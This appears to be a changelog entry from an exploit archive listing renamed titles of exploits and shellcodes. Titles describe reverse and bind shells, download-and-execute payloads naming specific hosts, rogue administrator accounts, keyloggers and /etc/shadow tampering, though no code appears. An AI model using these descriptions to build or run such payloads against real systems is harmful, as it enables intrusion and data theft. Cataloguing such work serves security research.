
58 changes to exploits/shellcodes Smiths Medical Medfusion 4000 - 'DHCP' Denial of Service WebKit - 'WebCore::InputType::element' Use-After-Free WebKit - 'WebCore::InputType::element' Use-After-Free (1) WebKit - 'WebCore::InputType::element' Use-After-Free WebKit - 'WebCore::InputType::element' Use-After-Free (2) Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation (1) Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation (2) Rosoft Media Player 4.2.1 - Local Buffer Overflow Rosoft Media Player 4.2.1 (Windows XP SP2/3 French) - Local Buffer Overflow GNU Screen 4.5.0 - Local Privilege Escalation GNU Screen 4.5.0 - Local Privilege Escalation (PoC) glibc - 'getcwd()' Local Privilege Escalation JAD java Decompiler 1.5.8e - Local Buffer Overflow JAD Java Decompiler 1.5.8e - Local Buffer Overflow JAD Java Decompiler 1.5.8e - Local Buffer Overflow JAD Java Decompiler 1.5.8e - Local Buffer Overflow (NX Enabled) Ability Server 2.34 - Remote APPE Buffer Overflow Ability Server 2.34 - 'APPE' Remote Buffer Overflow CesarFTP 0.99g - 'MKD' Remote Buffer Overflow (Metasploit) CesarFTP 0.99g - 'MKD' Remote Buffer Overflow (Metasploit) (1) Barracuda Spam Firewall 3.3.03.053 - Remote Code Execution Barracuda Spam Firewall 3.3.03.053 - Remote Code Execution (1) Barracuda Spam Firewall 3.3.03.053 - Remote Code Execution Barracuda Spam Firewall 3.3.03.053 - Remote Code Execution (2) Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC) CesarFTP 0.99g - 'MKD' Remote Buffer Overflow (Metasploit) CesarFTP 0.99g - 'MKD' Remote Buffer Overflow (Metasploit) (2) Ultra Mini HTTPD 1.21 - 'POST' Remote Stack Buffer Overflow Ultra Mini HTTPD 1.21 - 'POST' Remote Stack Buffer Overflow (1) Ultra Mini HTTPD 1.21 - 'POST' Remote Stack Buffer Overflow Ultra Mini HTTPD 1.21 - 'POST' Remote Stack Buffer Overflow (2) Invision Power Board 2.0.3 - 'login.php' SQL Injection Invision Power Board 2.0.3 - 'login.php' SQL Injection (Tutorial) FOSS Gallery Public 1.0 - Arbitrary File Upload FOSS Gallery Public 1.0 - Arbitrary File Upload (PoC) Vastal I-Tech Agent Zone - SQL Injection Vastal I-Tech Agent Zone - 'view_listing.php' SQL Injection Netsweeper 4.0.8 - Authentication Bypass Netsweeper 4.0.8 - Authentication Bypass (via Disabling of IP Quarantine) Netsweeper 4.0.8 - Authentication Bypass Netsweeper 4.0.8 - Authentication Bypass (via New Profile Creation) Primefaces 5.x - Remote Code Execution (Metasploit) Trend Micro InterScan Messaging Security (Virtual Appliance) - Remote Code Execution (Metasploit) Trend Micro InterScan Messaging Security (Virtual Appliance) < 9.1.-1600 - Remote Code Execution (Metasploit) Trend Micro InterScan Messaging Security (Virtual Appliance) - Remote Code Execution (Metasploit) Trend Micro InterScan Messaging Security (Virtual Appliance) - 'Proxy.php' Remote Code Execution (Metasploit) Vastal I-Tech Agent Zone - SQL Injection Vastal I-Tech Agent Zone - 'searchCommercial.php' / 'searchResidential.php' SQL Injection BSDi/x86 - execve(/bin/sh) ToUpper Encoded Shellcode (97 bytes) BSDi/x86 - execve(/bin/sh) + ToUpper Encoded Shellcode (97 bytes) FreeBSD/x86 - execve(/bin/cat /etc/master.passwd) Null-Free Shellcode (65 bytes) FreeBSD/x86 - execve(/bin/cat /etc/master.passwd) + Null-Free Shellcode (65 bytes) Linux/x86 - execve() Null-Free Shellcode (Generator) Linux/x86 - execve() + Null-Free Shellcode (Generator) Windows XP SP1 - Bind TCP Shell Shellcode (Generator) Windows (XP SP1) - Bind TCP Shell Shellcode (Generator) Linux/x86 - Command Generator Null-Free Shellcode (Generator) Linux/x86 - Command Generator + Null-Free Shellcode (Generator) (Generator) - HTTP/1.x Requests Shellcode (18+/26+ bytes) Windows x86 - Multi-Format Encoding Tool Shellcode (Generator) Linux/x86 - HTTP/1.x Requests Shellcode (18+/26+ bytes) (Generator) Windows/x86 - Multi-Format Encoding Tool Shellcode (Generator) Linux/x86 - PUSH reboot() Shellcode (30 bytes) Linux/x86 - Shellcode Obfuscator Null-Free (Generator) Linux/x86 - Reverse UDP tcpdump (54321/UDP) Live Packet Capture Shellcode (151 bytes) Linux/x86 - reboot() + PUSH Shellcode (30 bytes) Linux/x86 - Shellcode Obfuscator + Null-Free (Generator) Linux/x86 - Reverse UDP (54321/UDP) tcpdump Live Packet Capture Shellcode (151 bytes) Linux/x86 - setuid(0) + execve(/bin/sh_0_0) Null-Free Shellcode (28 bytes) Linux/x86 - setuid(0) + execve(/bin/sh_0_0) + Null-Free Shellcode (28 bytes) Linux/x86 - Reverse Connection (140.115.53.35:9999/TCP) + Download A File (cb) + Execute Shellcode (149 bytes) Linux/x86 - Reverse TCP (140.115.53.35:9999/TCP) + Download A File (cb) + Execute Shellcode (149 bytes) Linux/x86 - execve() Read Shellcode (92 bytes) Linux/x86 - execve() + Read Shellcode (92 bytes) Linux/x86 - Download File (HTTP/1.x http://0xdeadbeef/A) + execve() Null-Free Shellcode (111+ bytes) Linux/x86 - setreuid + Executes Command Shellcode (49+ bytes) Linux/x86 - Download File (HTTP/1.x http://0xdeadbeef/A) + execve() + Null-Free Shellcode (111+ bytes) Linux/x86 - setreuid() + Executes Command Shellcode (49+ bytes) Linux/x86 - execve(/bin/sh) (Re-Use Of Strings In .rodata) Shellcode (16 bytes) Linux/x86 - execve(/bin/sh) + Re-Use Of Strings In .rodata Shellcode (16 bytes) Linux/x86 - execve() Diassembly Obfuscation Shellcode (32 bytes) Linux/x86 - execve() + Diassembly + Obfuscation Shellcode (32 bytes) Linux/x86 - TCP Proxy (192.168.1.16:1280/TCP) All Connect() Null-Free Shellcode (236 bytes) Linux/x86 - TCP Proxy (192.168.1.16:1280/TCP) All Connect() + Null-Free Shellcode (236 bytes) Linux/x86 (Intel x86 CPUID) - execve(/bin/sh) XORED Encoded Shellcode (41 bytes) Linux/x86 - execve(/bin/sh) Shellcode +1 Encoded (39 bytes) Linux/x86 (Intel x86 CPUID) - execve(/bin/sh) + XORED Encoded Shellcode (41 bytes) Linux/x86 - execve(/bin/sh) Shellcode + 1 Encoded (39 bytes) Linux/x86 - Anti-Debug Trick (INT 3h trap) + execve(/bin/sh) Shellcode (39 bytes) Linux/x86 - execve(/bin/sh) + Anti-Debug Trick (INT 3h trap) Shellcode (39 bytes) Linux/x86 - Open CD-Rom Loop 24/7 (Follows /dev/cdrom Symlink) Shellcode (39 bytes) Linux/x86 - Eject CD-Rom Loop 24/7 (Follows /dev/cdrom Symlink) Shellcode (39 bytes) Linux/x86 - Quick (yet conditional_ eax != 0 and edx == 0) + exit() Shellcode (4 bytes) Linux/x86 - (eax != 0 and edx == 0) + exit() Shellcode (4 bytes) Linux/x86 - Snoop /dev/dsp Null-Free Shellcode (172 bytes) Linux/x86 - Snoop /dev/dsp + Null-Free Shellcode (172 bytes) Linux/x86 - execve(/bin/sh) sysenter Opcode Array Payload Shellcode (23 bytes) Linux/x86 - execve(/bin/sh) sysenter Opcode Array Payload Shellcode (27 bytes) Linux/x86 - execve(/bin/sh) sysenter Opcode Array Payload Shellcode (45 bytes) Linux/x86 - execve(/bin/sh) + sysenter Opcode Array Payload Shellcode (23 bytes) Linux/x86 - execve(/bin/sh) + sysenter Opcode Array Payload Shellcode (27 bytes) Linux/x86 - execve(/bin/sh) + sysenter Opcode Array Payload Shellcode (45 bytes) Linux/x86 - Alphanumeric Encoded (IMUL Method) Shellcode (88 bytes) Linux/x86 - Alphanumeric Encoded + IMUL Method Shellcode (88 bytes) Linux/IA32 - execve(/bin/sh) 0xff-Free Shellcode (45 bytes) Linux/IA32 - execve(/bin/sh) + 0xff-Free Shellcode (45 bytes) Linux/x86 - Reverse Telnet Shell (200.182.207.235) Shellcode (134 bytes) Linux/x86 - Reverse TCP (200.182.207.235/TCP) Telnet Shel Shellcode (134 bytes) Linux/x86 - execve(/bin/sh) XOR Encoded Shellcode (55 bytes) Linux/x86 - execve(/bin/sh) ToLower Encoded Shellcode (41 bytes) Linux/x86 - execve(/bin/sh) + XOR Encoded Shellcode (55 bytes) Linux/x86 - execve(/bin/sh) + ToLower Encoded Shellcode (41 bytes) Linux/x86 - execve(/bin/sh) ToLower Encoded Shellcode (55 bytes) Linux/x86 - execve(/bin/sh) + ToLower Encoded Shellcode (55 bytes) OSX/PPC - Reboot Shellcode (28 bytes) OSX/PPC - Reboot() Shellcode (28 bytes) Solaris/MIPS - Download (http://10.1.1.2:80/evil-dl) + Execute (/tmp/ff) Shellcode (278 bytes) Solaris/SPARC - setreuid + Executes Command Shellcode (92+ bytes) Solaris/MIPS - Download File (http://10.1.1.2:80/evil-dl) + Execute (/tmp/ff) Shellcode (278 bytes) Solaris/SPARC - setreuid() + Executes Command Shellcode (92+ bytes) Solaris/SPARC - setreuid + execve() Shellcode (56 bytes) Solaris/SPARC - setreuid() + execve() Shellcode (56 bytes) Solaris/x86 - setuid(0) + execve(/bin/sh) + exit(0) Null-Free Shellcode (39 bytes) Solaris/x86 - setuid(0) + execve(/bin/sh) + exit(0) + Null-Free Shellcode (39 bytes) Windows 5.0 < 7.0 x86 - Bind TCP (28876/TCP) Shell + Null-Free Shellcode Windows XP SP2 x86 (English) - cmd.exe Shellcode (23 bytes) Windows x86 - Egg Omelet SEH Shellcode Windows x86 - Add Administrator User (GAZZA/123456) + Start Telnet Service Shellcode (111 bytes) Windows x86 - PEB!NtGlobalFlags Shellcode (14 bytes) Windows XP SP2 x86 (French) - cmd.exe Shellcode (32 bytes) Windows XP SP2 x86 - cmd.exe Shellcode (57 bytes) Windows x86 - PEB _Kernel32.dll_ ImageBase Finder + Alphanumeric Shellcode (67 bytes) Windows x86 - PEB _Kernel32.dll_ ImageBase Finder (ASCII Printable) Shellcode (49 bytes) Windows x86 - Reverse Connection + Download A File + Save + Execute Shellcode Windows x86 - Download File + Execute Shellcode (Browsers Edition) (275+ bytes) (Generator) Windows x86 - Download File + Execute Shellcode (192 bytes) Windows x86 - Download File (http://127.0.0.1/file.exe) + Execute Shellcode (124 bytes) Windows NT/XP x86 - IsDebuggerPresent Shellcode (39 bytes) Windows SP1/SP2 x86 - Beep Shellcode (35 bytes) Windows XP SP2 x86 - MessageBox Shellcode (110 bytes) Windows x86 - Command WinExec() Shellcode (104+ bytes) Windows x86 - Download File (http://www.ph4nt0m.org/a.exe) + Execute (C:/a.exe) Shellcode (226+ bytes) Windows NT/2000/XP (Russian) - Add Administartor User (slim/shady) Shellcode (318 bytes) Windows 9x/NT/2000/XP - Reverse Generic without Loader (192.168.1.11:4919) Shellcode (249 bytes) Windows 9x/NT/2000/XP - PEB method Shellcode (29 bytes) Windows 9x/NT/2000/XP - PEB method Shellcode (31 bytes) Windows 9x/NT/2000/XP - PEB method Shellcode (35 bytes) Windows XP/2000/2003 - Reverse TCP (127.0.0.1:53/TCP) Shell Shellcode (275 bytes) (Generator) Windows XP/2000/2003 - Download File (http://127.0.0.1/test.exe) + Execute (%systemdir%/a.exe) Shellcode (241 bytes) Windows XP - Download File (http://www.elitehaven.net/ncat.exe) + Execute (nc.exe) Null-Free Shellcode Windows XP SP1 - Bind TCP (58821/TCP) Shell Shellcode (116 bytes) Windows/x86 (5.0 < 7.0) - Bind TCP (28876/TCP) Shell + Null-Free Shellcode Windows/x86 (XP SP2) (English) - cmd.exe Shellcode (23 bytes) Windows/x86 - Egg Omelet SEH Shellcode Windows/x86 - Add Administrator User (GAZZA/123456) + Start Telnet Service Shellcode (111 bytes) Windows/x86 - PEB!NtGlobalFlags Shellcode (14 bytes) Windows/x86 (XP SP2) (French) - cmd.exe Shellcode (32 bytes) Windows/x86 (XP SP2) - cmd.exe Shellcode (57 bytes) Windows/x86 - PEB _Kernel32.dll_ ImageBase Finder + Alphanumeric Shellcode (67 bytes) Windows/x86 - PEB _Kernel32.dll_ ImageBase Finder + ASCII Printable Shellcode (49 bytes) Windows/x86 - Reverse Connection + Download A File + Save + Execute Shellcode Windows/x86 - Download File + Execute Shellcode (Browsers Edition) (275+ bytes) (Generator) Windows/x86 - Download File + Execute Shellcode (192 bytes) Windows/x86 - Download File (http://127.0.0.1/file.exe) + Execute Shellcode (124 bytes) Windows/x86 (NT/XP) - IsDebuggerPresent Shellcode (39 bytes) Windows/x86 (SP1/SP2) - Beep Shellcode (35 bytes) Windows/x86 (XP SP2) - MessageBox Shellcode (110 bytes) Windows/x86 - Command WinExec() Shellcode (104+ bytes) Windows/x86 - Download File (http://www.ph4nt0m.org/a.exe) + Execute (C:/a.exe) Shellcode (226+ bytes) Windows (NT/2000/XP) (Russian) - Add Administartor User (slim/shady) Shellcode (318 bytes) Windows (9x/NT/2000/XP) - Reverse Generic Without Loader (192.168.1.11:4919) Shellcode (249 bytes) Windows (9x/NT/2000/XP) - PEB method Shellcode (29 bytes) Windows (9x/NT/2000/XP) - PEB Method Shellcode (31 bytes) Windows (9x/NT/2000/XP) - PEB method Shellcode (35 bytes) Windows (XP/2000/2003) - Reverse TCP (127.0.0.1:53/TCP) Shell Shellcode (275 bytes) (Generator) Windows (XP/2000/2003) - Download File (http://127.0.0.1/test.exe) + Execute (%systemdir%/a.exe) Shellcode (241 bytes) Windows (XP) - Download File (http://www.elitehaven.net/ncat.exe) + Execute (nc.exe) + Null-Free Shellcode Windows (XP SP1) - Bind TCP (58821/TCP) Shell Shellcode (116 bytes) Windows x64 - (URLDownloadToFileA) Download File (http://localhost/trojan.exe) + Execute Shellcode (218+ bytes) Windows/x86-64 - (URLDownloadToFileA) Download File (http://localhost/trojan.exe) + Execute Shellcode (218+ bytes) Linux/x86 - setuid(0) + execve(_/sbin/poweroff -f_) Shellcode (47 bytes) Linux/x86 - setuid(0) + execve(/sbin/poweroff -f) Shellcode (47 bytes) Windows XP SP2 - PEB ISbeingdebugged Beep Shellcode (56 bytes) Windows (XP SP2) - PEB ISbeingdebugged Beep Shellcode (56 bytes) Windows XP SP3 x86 - ShellExecuteA Shellcode Linux/x86 - setreuid (0_0) + execve(/bin/rm /etc/shadow) Shellcode Windows XP SP3 x86 - Add Firewall Rule (Allow 445/TCP) Traffic Shellcode Windows/x86 (XP SP3) - ShellExecuteA Shellcode Linux/x86 - setreuid(0_0) + execve(/bin/rm /etc/shadow) Shellcode Windows/x86 (XP SP3) - Add Firewall Rule (Allow 445/TCP) Shellcode Windows XP SP2 x86 - calc.exe Shellcode (45 bytes) Windows/x86 (XP SP2) - calc.exe Shellcode (45 bytes) Windows XP SP2 x86 (English / Arabic) - cmd.exe Shellcode (23 bytes) Windows/x86 (XP SP2) (English / Arabic) - cmd.exe Shellcode (23 bytes) Windows XP Professional SP2 (English) - MessageBox Null-Free Shellcode (16 bytes) Windows XP Professional SP2 (English) - Wordpad Null-Free Shellcode (12 bytes) Windows (XP Professional SP2) (English) - MessageBox + Null-Free Shellcode (16 bytes) Windows (XP Professional SP2) (English) - Wordpad + Null-Free Shellcode (12 bytes) Windows XP SP2 x86 (French) - calc Shellcode (19 bytes) Windows/x86 (XP SP2) (French) - calc Shellcode (19 bytes) Windows XP SP3 x86 (English) - cmd.exe Shellcode (26 bytes) Windows XP SP2 x86 (Turkish) - cmd.exe Shellcode (26 bytes) Windows/x86 (XP SP3) (English) - cmd.exe Shellcode (26 bytes) Windows/x86 (XP SP2) (Turkish) - cmd.exe Shellcode (26 bytes) Windows XP Home SP2 (English) - calc.exe Shellcode (37 bytes) Windows XP Home SP3 (English) - calc.exe Shellcode (37 bytes) Windows (XP Home SP2) (English) - calc.exe Shellcode (37 bytes) Windows (XP Home SP3) (English) - calc.exe Shellcode (37 bytes) Windows x86 - JITed Stage-0 Shellcode Windows x86 - JITed exec notepad Shellcode Windows XP Professional SP2 (Italian) - calc.exe Shellcode (36 bytes) Windows XP SP2 x86 - write.exe + ExitProcess WinExec Shellcode (16 bytes) Windows - Egghunter JITed Stage-0 Shellcode Windows XP SP3 x86 (Russia) - cmd + ExitProcess WinExec Shellcode (12 bytes) Windows x86 - MessageBox Shellcode (Metasploit) Windows XP/Vista/7 - Egghunter JITed Stage-0 Adjusted Universal Shellcode Windows/x86 - JITed Stage-0 Shellcode Windows/x86 - JITed exec notepad Shellcode Windows (XP Professional SP2) (Italian) - calc.exe Shellcode (36 bytes) Windows/x86 (XP SP2) - write.exe + ExitProcess WinExec Shellcode (16 bytes) Windows - Egghunter (0x07333531) JITed Stage-0 Shellcode Windows/x86 (XP SP3) (Russia) - cmd + ExitProcess WinExec Shellcode (12 bytes) Windows/x86 - MessageBox Shellcode (Metasploit) Windows (XP/Vista/7) - Egghunter (0x07333531) JITed Stage-0 Adjusted Universal Shellcode Linux/x86 - execve(/bin/sh) Shellcode (25 bytes) (2) Linux/x86 - execve(/bin/sh) Shellcode (25 bytes) Linux/x86 - execve(_a->/bin/sh_) Local-only Shellcode (14 bytes) Linux/x86 - execve(a->/bin/sh) + Local-only Shellcode (14 bytes) Linux/x86 - setreud(getuid()_ getuid()) + execve(_/bin/sh_) Shellcode (34 bytes) Linux/x86 - setreud(getuid()_ getuid()) + execve(/bin/sh) Shellcode (34 bytes) Windows XP SP2 (French) - Download File (http://www.site.com/nc.exe_) + Execute (c:\backdor.exe) Shellcode Windows (XP SP2) (French) - Download File (http://www.site.com/nc.exe) + Execute (c:\backdor.exe) Shellcode Linux/x86 - sys_execve(_/bin/sh__ _0__ _0_) with umask 16 (sys_umask(14)) Shellcode (45 bytes) Linux/x86 - execve(_/bin/sh__ _0__ _0_) with umask 16 (sys_umask(14)) Shellcode (45 bytes) Windows 7 Professional SP1 x64 (FR) - Beep Shellcode (39 bytes) Windows/x86-64 (7 Professional SP1) (French) - Beep Shellcode (39 bytes) Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/shadow Shellcode (39 bytes) Linux/x86 - chmod 0777 /etc/shadow + sys_chmod syscall Shellcode (39 bytes) Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/passwd Shellcode (39 bytes) Linux/x86 - sys_execve(_/bin/sh__ _-c__ _reboot_) Shellcode (45 bytes) Linux/x86 - sys_setuid(0) + sys_setgid(0) + execve(_/bin/sh_) Shellcode (39 bytes) Windows 7 x64 - cmd Shellcode (61 bytes) Linux/x86 - unlink /etc/shadow Shellcode (33 bytes) Linux/x86 - chmod 0777 /etc/passwd + sys_chmod syscall Shellcode (39 bytes) Linux/x86 - execve(_/bin/sh__ _-c__ _reboot_) Shellcode (45 bytes) Linux/x86 - setuid(0) + setgid(0) + execve(/bin/sh) Shellcode (39 bytes) Windows/x86-64 (7) - cmd Shellcode (61 bytes) Linux/x86 - unlink(/etc/shadow) Shellcode (33 bytes) Linux/x86-64 - Add Root User (shell-storm/leet) To /etc/{shadow_passwd} Shellcode (390 bytes) Windows XP SP3 (Spanish) - URLDownloadToFileA + CreateProcessA + ExitProcess Shellcode (176+ bytes) Linux/x86-64 - Add Root User (shell-storm/leet) To /etc/{passwd_shadow} Shellcode (390 bytes) Windows (XP SP3) (Spanish) - URLDownloadToFileA + CreateProcessA + ExitProcess Shellcode (176+ bytes) (Generator) Linux - setreuid(0_0) + execve(_/bin/sh__NULL_NULL) XOR Encoded Shellcode (62 bytes) Safari 4.0.5 < 5.0.0 (Windows XP/7) - JavaScript JITed exec calc (ASLR/DEP Bypass) Null-Free Shellcode Linux - setreuid(0_0) + execve(_/bin/sh__NULL_NULL) + XOR Encoded Shellcode (62 bytes) Safari 4.0.5 < 5.0.0 (Windows XP/7) - JavaScript JITed exec calc (ASLR/DEP Bypass) + Null-Free Shellcode Windows x86 - Write-to-file ('pwned' ./f.txt) Null-Free Shellcode (278 bytes) Windows/x86 - Write-to-file ('pwned' ./f.txt) + Null-Free Shellcode (278 bytes) Linux/x86 - execve(/bin/sh) + Polymorphic Null-Free Shellcode (46 bytes) Windows XP SP3 (English) - MessageBoxA Shellcode (87 bytes) Linux/x86 - execve(/bin/sh) + Polymorphic + Null-Free Shellcode (46 bytes) Windows (XP SP3) (English) - MessageBoxA Shellcode (87 bytes) Windows x86 - Egghunter Checksum Routine Shellcode (18 bytes) Windows/x86 - Egghunter Checksum Routine Shellcode (18 bytes) Windows XP SP3 x86 (Turkish) - Add Administrator User (zrl/123456) Shellcode (127 bytes) Windows Mobile 6.5 TR (WinCE 5.2)/ARM - MessageBox Shellcode Windows Mobile 6.5 TR - Phone Call Shellcode Windows XP Professional SP3 x86 (English) - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes) Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes) Windows/x86 (XP SP3) (Turkish) - Add Administrator User (zrl/123456) Shellcode (127 bytes) Windows/ARM (Mobile 6.5 TR WinCE 5.2) - MessageBox Shellcode Windows/ARM (Mobile 6.5 TR) - Phone Call Shellcode Windows/x86 (XP Professional SP3) (English) - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes) Windows/x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes) Linux/ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode Linux/ARM - Bind TCP (0x1337/TCP) Listener + Receive Shellcode + Payload Loader Shellcode Windows 5.0 < 7.0 x86 - Speaking 'You got pwned!' Null-Free Shellcode Windows/x86 (5.0 < 7.0) - Speaking 'You got pwned!' + Null-Free Shellcode Windows x86 - Eggsearch Shellcode (33 bytes) Windows/x86 - Eggsearch Shellcode (33 bytes) Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit) Windows - Download File + Execute via DNS + IPv6 Shellcode (Generator) (Metasploit) Windows PerfectXp-pc1/SP3 x86 (Turkish) - Add Administrator User (kpss/12345) Shellcode (112 bytes) Linux/x86 - Egghunter Null-Free Shellcode (29 bytes) Windows/x86 (PerfectXp-pc1/SP3 ) (Turkish) - Add Administrator User (kpss/12345) Shellcode (112 bytes) Linux/x86 - Egghunter + Null-Free Shellcode (29 bytes) Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd + No Password Polymorphic Shellcode Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd + No Password + Polymorphic Shellcode Windows x86 - Bind TCP Shell + Password (damn_it!$$##@;*#) Shellcode (637 bytes) Windows XP Professional SP3 - calc.exe (C:/WINDOWS/system32/calc.exe) ROP Shellcode (428 bytes) Windows x64 - Bind TCP (4444/TCP) Shell Shellcode (508 bytes) Windows/x86 - Bind TCP Shell + Password (damn_it!$$##@;*#) Shellcode (637 bytes) Windows (XP Professional SP3) - calc.exe (C:/WINDOWS/system32/calc.exe) ROP Shellcode (428 bytes) Windows/x86-64 - Bind TCP (4444/TCP) Shell Shellcode (508 bytes) Windows (2000/XP/7 x64/x86) - URLDownloadToFile (http://bflow.security-portal.cz/down/xy.txt) + WinExec + ExitProcess Shellcode Windows/x86-64 / x86 (2000/XP/7) - URLDownloadToFile (http://bflow.security-portal.cz/down/xy.txt) + WinExec + ExitProcess Shellcode Cisco ASA - Authentication Bypass _EXTRABACON_ (Improved Shellcode) (69 bytes) Cisco ASA - 'EXTRABACON' Authentication Bypass (Improved Shellcode) (69 bytes) Windows RT ARM - Bind TCP (4444/TCP) Shell Shellcode Linux/x86 - Egghunter Shellcode (31 bytes) Windows/ARM (RT) - Bind TCP (4444/TCP) Shell Shellcode Linux/x86 - Egghunter (0x56767606) Using fstenv + Obfuscation Shellcode (31 bytes) Windows x86 - Reverse TCP (192.168.232.129:4444/TCP) Shell + Persistent Access Shellcode (494 bytes) Windows - MessageBox Null-Free Shellcode (113 bytes) Windows/x86 - Reverse TCP (192.168.232.129:4444/TCP) Shell + Persistent Access Shellcode (494 bytes) Windows - MessageBox + Null-Free Shellcode (113 bytes) Windows 7 x86 - Bind TCP (4444/TCP) Shell Shellcode (357 bytes) Windows - Add Administrator User (BroK3n/BroK3n) Null-Free Shellcode (194 bytes) Windows/x86 (7) - Bind TCP (4444/TCP) Shell Shellcode (357 bytes) Windows - Add Administrator User (BroK3n/BroK3n) + Null-Free Shellcode (194 bytes) Linux/x86 - rmdir Shellcode (37 bytes) Linux/x86 - rmdir() Shellcode (37 bytes) Windows x86 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows/x86 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service + Obfuscated Shellcode (1218 bytes) Windows/x86-64 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service + Obfuscated Shellcode (1218 bytes) Windows XP x86-64 - Download File + Execute Shellcode (Generator) Windows/x86-64 (XP) - Download File + Execute Shellcode Using Powershell (Generator) Linux/x86 - chmod 0777 /etc/shadow Obfuscated Shellcode (84 bytes) Linux/x86 - chmod 0777 /etc/shadow + Obfuscated Shellcode (84 bytes) Linux/x86 - execve(/bin/sh) Obfuscated Shellcode (40 bytes) Linux/x86 - execve(/bin/sh) + Obfuscated Shellcode (40 bytes) Linux/x86 - Egghunter Shellcode (20 bytes) Linux/x86 - Egghunter (0x5159) Shellcode (20 bytes) Linux/x86 - Create _my.txt_ In Working Directory Shellcode (37 bytes) Linux/x86 - setreuid(0_ 0) + execve(_/sbin/halt_) + exit(0) Shellcode (49 bytes) Linux/x86 - Create 'my.txt' In Working Directory Shellcode (37 bytes) Linux/x86 - setreuid(0_ 0) + execve(/sbin/halt) + exit(0) Shellcode (49 bytes) Windows XP SP3 x86 - Create (_file.txt_) Shellcode (83 bytes) Windows XP SP3 x86 - Restart Shellcode (57 bytes) Windows/x86 (XP SP3) - Create (file.txt) Shellcode (83 bytes) Windows/x86 (XP SP3) - Restart Shellcode (57 bytes) Linux/x86 - execve(/bin/sh) (Push Method) Shellcode (21 bytes) Linux/x86 - execve(/bin/sh) + Push Method Shellcode (21 bytes) Linux/x86-64 - execve(/bin/sh) Null-Free Shellcode (30 bytes) Linux/x86-64 - execve(/bin/sh) + Null-Free Shellcode (30 bytes) Linux/x86 - Reboot Shellcode (28 bytes) Linux/x86 - Reboot() Shellcode (28 bytes) Linux/x86 - execve(/bin/sh) ROT7 Encoded Shellcode Windows XP SP3 x86 (Turkish) - MessageBox Shellcode (24 bytes) Linux/x86 - Egghunter Shellcode (19 bytes) Windows x86 - user32!MessageBox _Hello World!_ Null-Free Shellcode (199 bytes) Linux/x86 - execve(/bin/sh) ROL/ROR Encoded Shellcode Windows 2003 x64 - Token Stealing Shellcode (59 bytes) OSX/x86-64 - execve(/bin/sh) Null-Free Shellcode (34 bytes) Linux/x86 - execve(/bin/sh) + ROT7 Encoded Shellcode Windows/x86 (XP SP3) (Turkish) - MessageBox Shellcode (24 bytes) Linux/x86 - Egghunter (0x50905090) Without Hardcoded Signature Shellcode (19 bytes) Windows/x86 - user32!MessageBox _Hello World!_ + Null-Free Shellcode (199 bytes) Linux/x86 - execve(/bin/sh) + ROL/ROR Encoded Shellcode Windows/x86-64 (2003) - Token Stealing Shellcode (59 bytes) OSX/x86-64 - execve(/bin/sh) + Null-Free Shellcode (34 bytes) Linux/x86-64 - Egghunter Shellcode (24 bytes) Linux/x86-64 - Egghunter (0x6b634068) Shellcode (24 bytes) Windows XP < 10 - Command Generator WinExec Null-Free Shellcode (Generator) Windows (XP < 10) - Command Generator WinExec + Null-Free Shellcode (Generator) Linux/x86-64 - Egghunter Shellcode (18 bytes) Linux/x86 - Egghunter Shellcode (13 bytes) Linux/x86-64 - execve() XOR/NOT/DIV Encoded Shellcode (54 bytes) Linux/x86-64 - Egghunter (0x50905090) Shellcode (18 bytes) Linux/x86 - Egghunter (0x4f904790) Shellcode (13 bytes) Linux/x86-64 - execve() + XOR/NOT/DIV Encoded Shellcode (54 bytes) Windows x86 - Download File + Run via WebDAV (//192.168.1.19/c) Null-Free Shellcode (96 bytes) Windows/x86 - Download File + Run via WebDAV (//192.168.1.19/c) Null-Free Shellcode (96 bytes) Windows x86 - URLDownloadToFileA() (http://192.168.86.130/sample.exe) + SetFileAttributesA() (pyld.exe) + WinExec() + ExitProcess() Shellcode (394 bytes) Windows/x86 - URLDownloadToFileA() (http://192.168.86.130/sample.exe) + SetFileAttributesA() (pyld.exe) + WinExec() + ExitProcess() Shellcode (394 bytes) Windows - Keylogger to File (./log.bin) Null-Free Shellcode (431 bytes) Windows .Net Framework x86 - Execute Native x86 Shellcode Windows - Keylogger to File (./log.bin) + Null-Free Shellcode (431 bytes) Windows/x86 (.Net Framework) - Execute Native x86 Shellcode Windows - Keylogger to File (%TEMP%/log.bin) Null-Free Shellcode (601 bytes) Windows - Keylogger to File (%TEMP%/log.bin) + Null-Free Shellcode (601 bytes) Linux/x86-64 - execve() XOR Encoded Shellcode (84 bytes) Linux/x86-64 - execve() + XOR Encoded Shellcode (84 bytes) Windows x86 - WinExec(_cmd.exe__0) Shellcode (184 bytes) Windows/x86 - WinExec(_cmd.exe__0) Shellcode (184 bytes) Windows x86 - system(_systeminfo_) Shellcode (224 bytes) Windows XP < 10 - Download File + Execute Shellcode Windows x86 - ShellExecuteA(NULL_NULL__cmd.exe__NULL_NULL_1) Shellcode (250 bytes) Windows/x86 - system(systeminfo) Shellcode (224 bytes) Windows (XP < 10) - Download File + Execute Shellcode Windows/x86 - ShellExecuteA(NULL_NULL__cmd.exe__NULL_NULL_1) Shellcode (250 bytes) Linux/x86 - Reverse Xterm Shell (127.1.1.1:10) Shellcode 